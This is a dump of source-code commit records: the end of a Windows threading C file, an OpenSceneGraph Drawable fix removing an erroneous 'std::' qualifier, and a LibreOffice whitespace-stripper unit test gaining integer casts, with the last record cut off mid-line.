finish\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_DetachThread (TRI_thread_t* thread) {\n  \/\/ TODO: no native implementation\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief waits for a thread to finish\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_JoinThread (TRI_thread_t* thread) {\n  DWORD result = WaitForSingleObject(*thread, INFINITE);\n\n  switch (result) {\n    case WAIT_ABANDONED: {\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not join thread --> WAIT_ABANDONED\");\n    }\n\n    case WAIT_OBJECT_0: {\n      \/\/ everything ok\n      break;\n    }\n\n    case WAIT_TIMEOUT: {\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not joint thread --> WAIT_TIMEOUT\");\n    }\n\n    case WAIT_FAILED: {\n      result = GetLastError();\n      LOG_FATAL_AND_EXIT(\"threads-win32.c:TRI_JoinThread:could not join thread --> WAIT_FAILED - reason -->%d\",result);\n    }\n  }\n\n  return TRI_ERROR_NO_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sends a signal to a thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_SignalThread (TRI_thread_t* thread, int signum) {\n  \/\/ TODO:  NO NATIVE implementation of signals\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief checks if this thread is the thread passed as a parameter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool TRI_IsSelfThread (TRI_thread_t* thread) {\n  return false;\n  \/\/ ...........................................................................\n  \/\/ The GetThreadID(...) function is only available in Windows Vista or Higher\n  \/\/ TODO: Change the TRI_thread_t into a structure which stores the thread id\n  \/\/ as well as the thread handle. This can then be passed around\n  \/\/ ...........................................................................\n  \/\/return ( GetCurrentThreadId() == GetThreadId(thread) );\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief allow cancellation\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_AllowCancelation(void) {\n  \/\/ TODO: No native implementation of this\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sets the process affinity\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid TRI_SetProcessorAffinity (TRI_thread_t* thread, size_t core) {\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <stdio.h>\n#include <math.h>\n#include <float.h>\n\n#include <osg\/Drawable>\n#include <osg\/State>\n#include <osg\/Notify>\n#include <osg\/Node>\n\n#include <algorithm>\n#include <map>\n#include <set>\n\nusing namespace osg;\n\n\/\/ static cache of deleted display lists which can only \n\/\/ by completely deleted once the appropriate OpenGL context\n\/\/ is set.  Used osg::Drawable::deleteDisplayList(..) and flushDeletedDisplayLists(..) below.\ntypedef std::vector<GLuint> DisplayListVector;\ntypedef std::map<GLuint,DisplayListVector> DeletedDisplayListCache;\nstatic DeletedDisplayListCache s_deletedDisplayListCache;\n\nvoid Drawable::deleteDisplayList(uint contextID,uint globj)\n{\n    if (globj!=0)\n    {\n        \/\/ insert the globj into the cache for the appropriate context.\n        s_deletedDisplayListCache[contextID].push_back(globj);\n    }\n}\n\n\/** flush all the cached display list which need to be deleted\n  * in the OpenGL context related to contextID.*\/\nvoid Drawable::flushDeletedDisplayLists(uint contextID)\n{\n    DeletedDisplayListCache::iterator citr = s_deletedDisplayListCache.find(contextID);\n    if (citr!=s_deletedDisplayListCache.end())\n    {\n        DisplayListVector displayListSet;\n        \n        \/\/ this swap will transfer the content of and empty citr->second\n        \/\/ in one quick pointer change.\n        displayListSet.swap(citr->second);\n        \n        for(std::DisplayListVector::iterator gitr=displayListSet.begin();\n                                     gitr!=displayListSet.end();\n                                     ++gitr)\n        {\n            glDeleteLists(*gitr,1);\n        }\n    }\n}\n\n\nDrawable::Drawable()\n{\n    _bbox_computed = false;\n\n    \/\/ Note, if your are defining a subclass from drawable which is\n    \/\/ dynamically updated then you should set both the following to\n    \/\/ to false in your constructor.  This will prevent any display\n    \/\/ lists from being automatically created and safeguard the\n    \/\/ dynamic updating of data.\n    _supportsDisplayList = true;\n    _useDisplayList = true;\n}\n\nDrawable::Drawable(const Drawable& drawable,const CopyOp& copyop):\n    Object(drawable,copyop),\n    _parents(), \/\/ leave empty as parentList is managed by Geode\n    _stateset(copyop(drawable._stateset.get())),\n    _bbox(drawable._bbox),\n    _bbox_computed(drawable._bbox_computed),\n    _shape(copyop(drawable._shape.get())),\n    _supportsDisplayList(drawable._supportsDisplayList),\n    _useDisplayList(drawable._useDisplayList),\n    _drawCallback(drawable._drawCallback),\n    _cullCallback(drawable._cullCallback)\n{\n}\n\nDrawable::~Drawable()\n{\n    dirtyDisplayList();\n}\n\nvoid Drawable::addParent(osg::Node* node)\n{\n    _parents.push_back(node);    \n}\n\nvoid Drawable::removeParent(osg::Node* node)\n{\n    ParentList::iterator pitr = std::find(_parents.begin(),_parents.end(),node);\n    if (pitr!=_parents.end()) _parents.erase(pitr);\n}\n\nosg::StateSet* Drawable::getOrCreateStateSet()\n{\n    if (!_stateset) _stateset = new StateSet;\n    return _stateset.get();\n}\n\nvoid Drawable::dirtyBound()\n{\n    if (_bbox_computed)\n    {\n        _bbox_computed = false;\n\n        \/\/ dirty parent bounding sphere's to ensure that all are valid.\n        for(ParentList::iterator itr=_parents.begin();\n            itr!=_parents.end();\n            ++itr)\n        {\n            (*itr)->dirtyBound();\n        }\n\n    }\n}\n\nvoid Drawable::compile(State& state) const\n{\n    if (!_useDisplayList) return;\n\n    \/\/ get the contextID (user defined ID of 0 upwards) for the \n    \/\/ current OpenGL context.\n    uint contextID = state.getContextID();\n\n    \/\/ get the globj for the current contextID.\n    uint& globj = _globjList[contextID];\n\n    \/\/ call the globj if already set otherwise comple and execute.\n    if( globj != 0 )\n    {\n        glDeleteLists( globj, 1 );\n    }\n\n    \n    if (_stateset.valid())\n    {\n        _stateset->compile(state);\n    }\n\n    globj = glGenLists( 1 );\n    glNewList( globj, GL_COMPILE );\n\n    if (_drawCallback.valid())\n        _drawCallback->drawImplementation(state,this);\n    else \n        drawImplementation(state);\n\n    glEndList();\n\n}\n\nvoid Drawable::setSupportsDisplayList(bool flag)\n{\n    \/\/ if value unchanged simply return.\n    if (_supportsDisplayList==flag) return;\n    \n    \/\/ if previously set to true then need to check about display lists.\n    if (_supportsDisplayList)\n    {\n        if (_useDisplayList)\n        {\n            \/\/ used to support display lists and display lists switched\n            \/\/ on so now delete them and turn useDisplayList off.\n            dirtyDisplayList();\n            _useDisplayList = false;\n        }\n    }\n    \n    \/\/ set with new value.\n    _supportsDisplayList=flag;\n}\n\nvoid Drawable::setUseDisplayList(bool flag)\n{\n    \/\/ if value unchanged simply return.\n    if (_useDisplayList==flag) return;\n\n    \/\/ if was previously set to true, remove display list.\n    if (_useDisplayList)\n    {\n        dirtyDisplayList();\n    }\n    \n    if (_supportsDisplayList)\n    {\n    \n        \/\/ set with new value.\n        _useDisplayList = flag;\n        \n    }\n    else \/\/ does not support display lists.\n    {\n        if (flag)\n        {\n            notify(WARN)<<\"Warning: attempt to setUseDisplayList(true) on a drawable with does not support display lists.\"<<std::endl;\n        }\n        else \n        {\n            \/\/ set with new value.\n            _useDisplayList = false;\n        }\n    }\n}\n\n\nvoid Drawable::dirtyDisplayList()\n{\n    for(uint i=0;i<_globjList.size();++i)\n    {\n        if (_globjList[i] != 0)\n        {\n            Drawable::deleteDisplayList(i,_globjList[i]);\n            _globjList[i] = 0;\n        }\n    }\n}\n\n\nvoid Drawable::setUpdateCallback(UpdateCallback* ac)\n{\n    if (_updateCallback==ac) return;\n    \n    int delta = 0;\n    if (_updateCallback.valid()) --delta;\n    if (ac) ++delta;\n\n    _updateCallback = ac;\n    \n    if (delta!=0)\n    {\n        for(ParentList::iterator itr=_parents.begin();\n            itr!=_parents.end();\n            ++itr)\n        {\n            (*itr)->setNumChildrenRequiringUpdateTraversal((*itr)->getNumChildrenRequiringUpdateTraversal()+delta);\n        }\n    }\n}\n\nstruct ComputeBound : public Drawable::PrimitiveFunctor\n{\n        ComputeBound():_vertices(0) {}\n        \n        virtual void setVertexArray(unsigned int,const Vec3* vertices) { _vertices = vertices; }\n\n        virtual void drawArrays(GLenum,GLint first,GLsizei count)\n        {\n            if (_vertices)\n            {\n                const osg::Vec3* vert = _vertices+first;\n                for(;count>0;--count,++vert)\n                {\n                    _bb.expandBy(*vert);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLubyte* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLushort* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLuint* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void begin(GLenum) {}\n        virtual void vertex(const Vec3& vert) { _bb.expandBy(vert); }\n        virtual void vertex(float x,float y,float z) { _bb.expandBy(x,y,z); }\n        virtual void end() {}\n        \n        const Vec3*     _vertices;\n        BoundingBox     _bb;\n};\n\nbool Drawable::computeBound() const\n{\n    ComputeBound cb;\n\n    Drawable* non_const_this = const_cast<Drawable*>(this);\n    non_const_this->accept(cb);\n    \n    _bbox = cb._bb;\n    _bbox_computed = true;\n\n    return true;\n}\n\n<commit_msg>Removed eroneous std:: from the from of DisplayListVector.<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2003 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under  \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n * OpenSceneGraph Public License for more details.\n*\/\n#include <stdio.h>\n#include <math.h>\n#include <float.h>\n\n#include <osg\/Drawable>\n#include <osg\/State>\n#include <osg\/Notify>\n#include <osg\/Node>\n\n#include <algorithm>\n#include <map>\n#include <set>\n\nusing namespace osg;\n\n\/\/ static cache of deleted display lists which can only \n\/\/ by completely deleted once the appropriate OpenGL context\n\/\/ is set.  Used osg::Drawable::deleteDisplayList(..) and flushDeletedDisplayLists(..) below.\ntypedef std::vector<GLuint> DisplayListVector;\ntypedef std::map<GLuint,DisplayListVector> DeletedDisplayListCache;\nstatic DeletedDisplayListCache s_deletedDisplayListCache;\n\nvoid Drawable::deleteDisplayList(uint contextID,uint globj)\n{\n    if (globj!=0)\n    {\n        \/\/ insert the globj into the cache for the appropriate context.\n        s_deletedDisplayListCache[contextID].push_back(globj);\n    }\n}\n\n\/** flush all the cached display list which need to be deleted\n  * in the OpenGL context related to contextID.*\/\nvoid Drawable::flushDeletedDisplayLists(uint contextID)\n{\n    DeletedDisplayListCache::iterator citr = s_deletedDisplayListCache.find(contextID);\n    if (citr!=s_deletedDisplayListCache.end())\n    {\n        DisplayListVector displayListSet;\n        \n        \/\/ this swap will transfer the content of and empty citr->second\n        \/\/ in one quick pointer change.\n        displayListSet.swap(citr->second);\n        \n        for(DisplayListVector::iterator gitr=displayListSet.begin();\n                                     gitr!=displayListSet.end();\n                                     ++gitr)\n        {\n            glDeleteLists(*gitr,1);\n        }\n    }\n}\n\n\nDrawable::Drawable()\n{\n    _bbox_computed = false;\n\n    \/\/ Note, if your are defining a subclass from drawable which is\n    \/\/ dynamically updated then you should set both the following to\n    \/\/ to false in your constructor.  This will prevent any display\n    \/\/ lists from being automatically created and safeguard the\n    \/\/ dynamic updating of data.\n    _supportsDisplayList = true;\n    _useDisplayList = true;\n}\n\nDrawable::Drawable(const Drawable& drawable,const CopyOp& copyop):\n    Object(drawable,copyop),\n    _parents(), \/\/ leave empty as parentList is managed by Geode\n    _stateset(copyop(drawable._stateset.get())),\n    _bbox(drawable._bbox),\n    _bbox_computed(drawable._bbox_computed),\n    _shape(copyop(drawable._shape.get())),\n    _supportsDisplayList(drawable._supportsDisplayList),\n    _useDisplayList(drawable._useDisplayList),\n    _drawCallback(drawable._drawCallback),\n    _cullCallback(drawable._cullCallback)\n{\n}\n\nDrawable::~Drawable()\n{\n    dirtyDisplayList();\n}\n\nvoid Drawable::addParent(osg::Node* node)\n{\n    _parents.push_back(node);    \n}\n\nvoid Drawable::removeParent(osg::Node* node)\n{\n    ParentList::iterator pitr = std::find(_parents.begin(),_parents.end(),node);\n    if (pitr!=_parents.end()) _parents.erase(pitr);\n}\n\nosg::StateSet* Drawable::getOrCreateStateSet()\n{\n    if (!_stateset) _stateset = new StateSet;\n    return _stateset.get();\n}\n\nvoid Drawable::dirtyBound()\n{\n    if (_bbox_computed)\n    {\n        _bbox_computed = false;\n\n        \/\/ dirty parent bounding sphere's to ensure that all are valid.\n        for(ParentList::iterator itr=_parents.begin();\n            itr!=_parents.end();\n            ++itr)\n        {\n            (*itr)->dirtyBound();\n        }\n\n    }\n}\n\nvoid Drawable::compile(State& state) const\n{\n    if (!_useDisplayList) return;\n\n    \/\/ get the contextID (user defined ID of 0 upwards) for the \n    \/\/ current OpenGL context.\n    uint contextID = state.getContextID();\n\n    \/\/ get the globj for the current contextID.\n    uint& globj = _globjList[contextID];\n\n    \/\/ call the globj if already set otherwise comple and execute.\n    if( globj != 0 )\n    {\n        glDeleteLists( globj, 1 );\n    }\n\n    \n    if (_stateset.valid())\n    {\n        _stateset->compile(state);\n    }\n\n    globj = glGenLists( 1 );\n    glNewList( globj, GL_COMPILE );\n\n    if (_drawCallback.valid())\n        _drawCallback->drawImplementation(state,this);\n    else \n        drawImplementation(state);\n\n    glEndList();\n\n}\n\nvoid Drawable::setSupportsDisplayList(bool flag)\n{\n    \/\/ if value unchanged simply return.\n    if (_supportsDisplayList==flag) return;\n    \n    \/\/ if previously set to true then need to check about display lists.\n    if (_supportsDisplayList)\n    {\n        if (_useDisplayList)\n        {\n            \/\/ used to support display lists and display lists switched\n            \/\/ on so now delete them and turn useDisplayList off.\n            dirtyDisplayList();\n            _useDisplayList = false;\n        }\n    }\n    \n    \/\/ set with new value.\n    _supportsDisplayList=flag;\n}\n\nvoid Drawable::setUseDisplayList(bool flag)\n{\n    \/\/ if value unchanged simply return.\n    if (_useDisplayList==flag) return;\n\n    \/\/ if was previously set to true, remove display list.\n    if (_useDisplayList)\n    {\n        dirtyDisplayList();\n    }\n    \n    if (_supportsDisplayList)\n    {\n    \n        \/\/ set with new value.\n        _useDisplayList = flag;\n        \n    }\n    else \/\/ does not support display lists.\n    {\n        if (flag)\n        {\n            notify(WARN)<<\"Warning: attempt to setUseDisplayList(true) on a drawable with does not support display lists.\"<<std::endl;\n        }\n        else \n        {\n            \/\/ set with new value.\n            _useDisplayList = false;\n        }\n    }\n}\n\n\nvoid Drawable::dirtyDisplayList()\n{\n    for(uint i=0;i<_globjList.size();++i)\n    {\n        if (_globjList[i] != 0)\n        {\n            Drawable::deleteDisplayList(i,_globjList[i]);\n            _globjList[i] = 0;\n        }\n    }\n}\n\n\nvoid Drawable::setUpdateCallback(UpdateCallback* ac)\n{\n    if (_updateCallback==ac) return;\n    \n    int delta = 0;\n    if (_updateCallback.valid()) --delta;\n    if (ac) ++delta;\n\n    _updateCallback = ac;\n    \n    if (delta!=0)\n    {\n        for(ParentList::iterator itr=_parents.begin();\n            itr!=_parents.end();\n            ++itr)\n        {\n            (*itr)->setNumChildrenRequiringUpdateTraversal((*itr)->getNumChildrenRequiringUpdateTraversal()+delta);\n        }\n    }\n}\n\nstruct ComputeBound : public Drawable::PrimitiveFunctor\n{\n        ComputeBound():_vertices(0) {}\n        \n        virtual void setVertexArray(unsigned int,const Vec3* vertices) { _vertices = vertices; }\n\n        virtual void drawArrays(GLenum,GLint first,GLsizei count)\n        {\n            if (_vertices)\n            {\n                const osg::Vec3* vert = _vertices+first;\n                for(;count>0;--count,++vert)\n                {\n                    _bb.expandBy(*vert);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLubyte* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLushort* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void drawElements(GLenum,GLsizei count,const GLuint* indices)\n        {\n            if (_vertices)\n            {\n                for(;count>0;--count,++indices)\n                {\n                    _bb.expandBy(_vertices[*indices]);\n                }\n            }\n        }\n\n        virtual void begin(GLenum) {}\n        virtual void vertex(const Vec3& vert) { _bb.expandBy(vert); }\n        virtual void vertex(float x,float y,float z) { _bb.expandBy(x,y,z); }\n        virtual void end() {}\n        \n        const Vec3*     _vertices;\n        BoundingBox     _bb;\n};\n\nbool Drawable::computeBound() const\n{\n    ComputeBound cb;\n\n    Drawable* non_const_this = const_cast<Drawable*>(this);\n    non_const_this->accept(cb);\n    \n    _bbox = cb._bb;\n    _bbox_computed = true;\n\n    return true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdexcept>\n\n#include <sal\/types.h>\n\n#include <rtl\/ustring.hxx>\n\n#include <ToxWhitespaceStripper.hxx>\n\n#include <cppunit\/TestAssert.h>\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n\nusing namespace sw;\n\nclass ToxWhitespaceStripperTest : public CppUnit::TestFixture\n{\n    void\n    MappingCharactersToVariousStrippedStringsWorks();\n\n    void\n    StrippingWhitespacesFromVariousStringsWorks();\n\n    void\n    PositionAfterStringCanBeRequested();\n\n    CPPUNIT_TEST_SUITE(ToxWhitespaceStripperTest);\n    CPPUNIT_TEST(MappingCharactersToVariousStrippedStringsWorks);\n    CPPUNIT_TEST(StrippingWhitespacesFromVariousStringsWorks);\n    CPPUNIT_TEST(PositionAfterStringCanBeRequested);\n\n    CPPUNIT_TEST_SUITE_END();\n\n};\n\nvoid\nToxWhitespaceStripperTest::MappingCharactersToVariousStrippedStringsWorks()\n{\n    {\n        OUString test(\"abc\\n\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(0, sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(1, sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(2, sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(3, sut.GetPositionInStrippedString(3));\n    }\n    {\n        OUString test(\"abc\\n\\n\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(0, sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(1, sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(2, sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(3, sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(3, sut.GetPositionInStrippedString(4));\n    }\n    {\n        OUString test(\"abc\\ndef\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(0, sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(1, sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(2, sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(3, sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(4, sut.GetPositionInStrippedString(4));\n        CPPUNIT_ASSERT_EQUAL(5, sut.GetPositionInStrippedString(5));\n        CPPUNIT_ASSERT_EQUAL(6, sut.GetPositionInStrippedString(6));\n    }\n    {\n        \/\/             012345 6789\n        OUString test(\"  abc \\ndef\");\n        \/\/             01234567\n        \/\/            \" abc def\"\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(0, sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(0, sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(1, sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(2, sut.GetPositionInStrippedString(3));\n        CPPUNIT_ASSERT_EQUAL(3, sut.GetPositionInStrippedString(4));\n        CPPUNIT_ASSERT_EQUAL(4, sut.GetPositionInStrippedString(5));\n        CPPUNIT_ASSERT_EQUAL(4, sut.GetPositionInStrippedString(6));\n        CPPUNIT_ASSERT_EQUAL(5, sut.GetPositionInStrippedString(7));\n        CPPUNIT_ASSERT_EQUAL(6, sut.GetPositionInStrippedString(8));\n        CPPUNIT_ASSERT_EQUAL(7, sut.GetPositionInStrippedString(9));\n    }\n}\n\nvoid\nToxWhitespaceStripperTest::StrippingWhitespacesFromVariousStringsWorks()\n{\n    {\n        OUString test(\"abc\\n\");\n        OUString expected(\"abc\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"abc\\n\\n\");\n        OUString expected(\"abc\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"abc\\ndef\");\n        OUString expected(\"abc def\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"  abc \\ndef\");\n        OUString expected(\" abc def\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"  \");\n        OUString expected(\"\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n    {\n        OUString test(\"d  \");\n        OUString expected(\"d\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(expected, sut.GetStrippedString());\n    }\n}\n\nvoid\nToxWhitespaceStripperTest::PositionAfterStringCanBeRequested()\n{\n    OUString test(\"abc\");\n    ToxWhitespaceStripper sut(test);\n    sal_Int32 expected = test.getLength();\n    CPPUNIT_ASSERT_EQUAL(expected, sut.GetPositionInStrippedString(test.getLength()));\n}\n\n\/\/ Put the test suite in the registry\nCPPUNIT_TEST_SUITE_REGISTRATION(ToxWhitespaceStripperTest);\n\nCPPUNIT_PLUGIN_IMPLEMENT();\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>C2782: we hate you sal_Int32 as long on 32bit<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdexcept>\n\n#include <sal\/types.h>\n\n#include <rtl\/ustring.hxx>\n\n#include <ToxWhitespaceStripper.hxx>\n\n#include <cppunit\/TestAssert.h>\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n\nusing namespace sw;\n\nclass ToxWhitespaceStripperTest : public CppUnit::TestFixture\n{\n    void\n    MappingCharactersToVariousStrippedStringsWorks();\n\n    void\n    StrippingWhitespacesFromVariousStringsWorks();\n\n    void\n    PositionAfterStringCanBeRequested();\n\n    CPPUNIT_TEST_SUITE(ToxWhitespaceStripperTest);\n    CPPUNIT_TEST(MappingCharactersToVariousStrippedStringsWorks);\n    CPPUNIT_TEST(StrippingWhitespacesFromVariousStringsWorks);\n    CPPUNIT_TEST(PositionAfterStringCanBeRequested);\n\n    CPPUNIT_TEST_SUITE_END();\n\n};\n\nvoid\nToxWhitespaceStripperTest::MappingCharactersToVariousStrippedStringsWorks()\n{\n    {\n        OUString test(\"abc\\n\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(0), sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(1), sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(2), sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(3), sut.GetPositionInStrippedString(3));\n    }\n    {\n        OUString test(\"abc\\n\\n\");\n        ToxWhitespaceStripper sut(test);\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(0), sut.GetPositionInStrippedString(0));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(1), sut.GetPositionInStrippedString(1));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(2), sut.GetPositionInStrippedString(2));\n        CPPUNIT_ASSERT_EQUAL(static_cast<sal_Int32>(3), 